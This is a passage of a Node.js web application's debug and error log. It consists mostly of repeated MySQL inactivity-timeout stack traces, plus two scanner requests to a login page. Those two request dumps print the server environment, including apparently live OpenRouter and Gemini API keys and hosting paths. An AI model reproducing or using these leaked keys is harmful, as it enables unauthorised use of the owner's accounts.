    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-15 02:43:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-15 03:04:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-15 03:04:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-15 06:46:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-15 06:46:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-15 13:44:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-15 13:44:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-15 15:39:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-15 15:39:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-15 18:18:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-15 18:18:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-15 23:43:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-15 23:43:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-15 23:46:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-15 23:46:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 00:03:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 00:03:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 01:01:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 01:01:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 01:14:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 01:14:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 06:03:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 06:03:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 06:19:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 06:19:55' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 07:08:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 07:08:56' as DATETIME)"
}
2026-04-16T12:14:43.248Z server-connect:router Serving templateView /
2026-04-16T12:14:43.250Z server-connect:app Executing action step identify
2026-04-16T12:14:43.250Z server-connect:app options: { provider: 'security' }
2026-04-16T12:14:43.251Z server-connect:auth No login cookie found
2026-04-16T12:14:43.251Z server-connect:output identity: false
2026-04-16T12:14:43.251Z server-connect:app Executing action step restrict
2026-04-16T12:14:43.251Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-16T12:14:43.251Z server-connect:output restrict: undefined
2026-04-16T12:14:44.328Z server-connect:router Serving templateView /login
2026-04-16T12:14:44.328Z server-connect:app Executing action step identify
2026-04-16T12:14:44.329Z server-connect:app options: { provider: 'security' }
2026-04-16T12:14:44.329Z server-connect:auth No login cookie found
2026-04-16T12:14:44.329Z server-connect:output identity: false
2026-04-16T12:14:44.329Z server-connect:router Render template layouts/authentication
2026-04-16T12:14:44.329Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '2602:80d:1008::8a',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-17T12:14:44.328Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2602:80d:1008::8a',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '2602:80d:1008::8a',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 13:30:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 13:30:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-16 13:37:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-16 13:37:57' as DATETIME)"
}
2026-04-16T14:31:14.403Z server-connect:router Serving templateView /
2026-04-16T14:31:14.404Z server-connect:app Executing action step identify
2026-04-16T14:31:14.405Z server-connect:app options: { provider: 'security' }
2026-04-16T14:31:14.405Z server-connect:auth No login cookie found
2026-04-16T14:31:14.405Z server-connect:output identity: false
2026-04-16T14:31:14.405Z server-connect:app Executing action step restrict
2026-04-16T14:31:14.405Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-16T14:31:14.405Z server-connect:output restrict: undefined
2026-04-16T14:31:14.537Z server-connect:router Serving templateView /login
2026-04-16T14:31:14.537Z server-connect:app Executing action step identify
2026-04-16T14:31:14.537Z server-connect:app options: { provider: 'security' }
2026-04-16T14:31:14.537Z server-connect:auth No login cookie found
2026-04-16T14:31:14.537Z server-connect:output identity: false
2026-04-16T14:31:14.537Z server-connect:router Render template layouts/authentication
2026-04-16T14:31:14.537Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.41.91.213',
    connection: 'keep-alive',
